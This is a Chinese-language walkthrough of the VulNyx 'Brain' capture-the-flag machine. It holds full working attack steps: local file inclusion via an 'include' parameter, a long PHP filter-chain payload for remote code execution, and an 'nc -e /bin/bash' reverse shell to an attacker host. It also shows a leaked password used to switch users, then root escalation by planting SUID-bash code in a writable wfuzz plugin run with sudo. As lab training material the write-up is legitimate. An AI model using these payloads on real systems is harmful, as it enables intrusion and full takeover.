主机发现

```
┌──(root㉿kali)-[~/Desktop/xhh/VluNyx/Brain]
└─# arp-scan -I eth1 -l

192.168.56.118  08:00:27:73:5c:cd       PCS Systemtechnik GmbH
```

主机地址为：`192.168.56.118`

端口扫描

```
┌──(root㉿kali)-[~/Desktop/xhh/VluNyx/Brain]
└─# nmap -p- 192.168.56.118

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
```

```
┌──(root㉿kali)-[~/Desktop/xhh/VluNyx/Brain]
└─# nmap -sT -sC -sV -O -p22,80 192.168.56.118
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-29 02:50 CST
Nmap scan report for 192.168.56.118
Host is up (0.00063s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 32:95:f9:20:44:d7:a1:d1:80:a8:d6:95:91:d5:1e:da (RSA)
|   256 07:e7:24:38:1d:64:f6:88:9a:71:23:79:b8:d8:e6:57 (ECDSA)
|_  256 58:a6:da:1e:0f:89:42:2b:ba:de:00:fc:71:78:3d:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:73:5C:CD (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2
- 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.43 seconds
```

Web探测（80端口）

```
┌──(root㉿kali)-[~/Desktop/xhh/VluNyx/Brain]
└─# curl 192.168.56.118

<pre>
runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time
  sum-exec        sum-sleep
-------------------------------------------------------------------------------------
--------------------------
 S         systemd     1      2927.102286      1731   120         0.000000
509.025216         0.000000 0 0 /
</pre>
```

目录枚举没东西

模糊测试参数

```
┌──(root㉿kali)-[~/Desktop/xhh/VluNyx/Brain]
└─# wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt -u
http://192.168.56.118/?FUZZ=/etc/passwd --hh 361
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not
compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites.
Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.56.118/?FUZZ=/etc/passwd
Total requests: 4746

=====================================================================
ID           Response   Lines    Word       Chars       Payload

=====================================================================

000002202:   200        33 L     64 W       1750 Ch     "include"


Total time: 8.918078
Processed Requests: 4746
Filtered Requests: 4745
Requests/sec.: 532.1774
```

有一个参数`include`，看名字很像文件包含

```
┌──(root㉿kali)-[~/Desktop/xhh/VluNyx/Brain]
└─# curl 192.168.56.118?include=/etc/passwd
<pre>
runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time
  sum-exec        sum-sleep
```

```
---------------------------------------------------------------------------------
--------------------------
 S        systemd     1      2927.102286      1731   120         0.000000
509.025216         0.000000 0 0 /
</pre>

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ben:x:1000:1000:ben,,,:/home/ben:/bin/bash
```

漏洞利用（文件包含）

生成利用链

```
┌──(root㉿kali)-[/git_tools/php_filter_chain_generator]
└─# python3 php_filter_chain_generator.py --chain "<?php system(\$_GET[0]);?>"
[+] The following gadget chain will generate the following code : <?php
system($_GET[0]);?> (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWzBdKTs/Pg)
```

```
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-
932.UTF-8|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO
90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO
90|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-
IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-
103|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-
16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.
IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO69
37|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.
IBM943|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSI
SO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-
16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-
932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-
16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPL
PS|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-
16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-
IR-90|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.
IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO69
```

```
37|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-
AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-
32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-
IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-
2|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-
932.UTF-8|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIF
T_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.
SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-
2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-
decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|
convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-
IR-156.JOHAB|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.
IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-
encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-
16|convert.iconv.CSIBM1161.IBM-
932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-
decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-
decode/resource=php://temp
```

反弹shell

浏览器访问`IP?inculde=<过滤链>&0=nc 攻击IP 监听端口 -e /bin/bash`

```
┌──(root㉿kali)-[/git_tools/php_filter_chain_generator]
└─# nc -lvnp 6666
listening on [any] 6666 ...
id
connect to [192.168.56.247] from (UNKNOWN) [192.168.56.118] 54964
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

通过一顿翻找，在进程中找到`ben:B3nP4zz`

```
www-data@brain:/var/www/html$ ps -ef
(......)
root        378     364  0 19:34 ?        00:00:00 /bin/bash
/root/.debug/ben:B3nP4zz
```

登录ben

```
www-data@brain:/var/www/html$ su - ben
Password:
ben@brain:~$ id
uid=1000(ben) gid=1000(ben) grupos=1000(ben)
```

user.txt

```
ben@brain:~$ cat user.txt
4be68799a5cef6a6e2b36379e8ae2759
```

提权

```
ben@brain:~$ sudo -l
Matching Defaults entries for ben on Brain:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ben may run the following commands on Brain:
    (root) NOPASSWD: /usr/bin/wfuzz
```

这个可以直接读root.txt

提权要找工具的边缘文件

```
ben@brain:~$ find / -name "wfuzz" 2>/dev/null
/usr/lib/python3/dist-packages/wfuzz
/usr/share/wfuzz
/usr/share/doc/wfuzz
/usr/bin/wfuzz
```

由于这个工具是python写的，所以去`/usr/lib/python3/dist-packages/`目录下

```
ben@brain:/usr/lib/python3/dist-packages/wfuzz$ find . -type f -perm -o+w
2>/dev/null
./plugins/payloads/range.py
ben@brain:/usr/lib/python3/dist-packages/wfuzz$ ls -al
./plugins/payloads/range.py
-rwxrwxrwx 1 root root 1519 abr 19  2023 ./plugins/payloads/range.py
```

在`./plugins/payloads/range.py`写入恶意代码

```
import os
os.system("cp /bin/bash /tmp/bash;chmod +s /tmp/bash")
```

随便fuzz一下，让工具调用恶意文件

```
#fuzz前
ben@brain:/usr/lib/python3/dist-packages/wfuzz$ ls -al /tmp
total 8
```

```
drwxrwxrwt  2 root root 4096 nov 28 19:34 .
drwxr-xr-x 18 root root 4096 abr 19  2023 ..

#执行
ben@brain:/usr/lib/python3/dist-packages/wfuzz$ sudo /usr/bin/wfuzz -u 127.0.0.1?FUZZ -w xhh.txt

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.


Fatal exception: Error opening file. [Errno 2] No such file or directory: 'xhh.txt'

#fuzz后
ben@brain:/usr/lib/python3/dist-packages/wfuzz$ ls -al /tmp
total 1152
drwxrwxrwt  2 root root    4096 nov 28 20:54 .
drwxr-xr-x 18 root root    4096 abr 19  2023 ..
-rwsr-sr-x  1 root root 1168776 nov 28 20:54 bash
```

运行`/tmp/bash`

```
ben@brain:/tmp$ /tmp/bash -p
bash-5.0# id
uid=1000(ben) gid=1000(ben) euid=0(root) egid=0(root) grupos=0(root),1000(ben)
```

成功获取到root权限

root.txt

```
bash-5.0# cat root.txt
08c391c2d775390f54ee859d7395ac68
```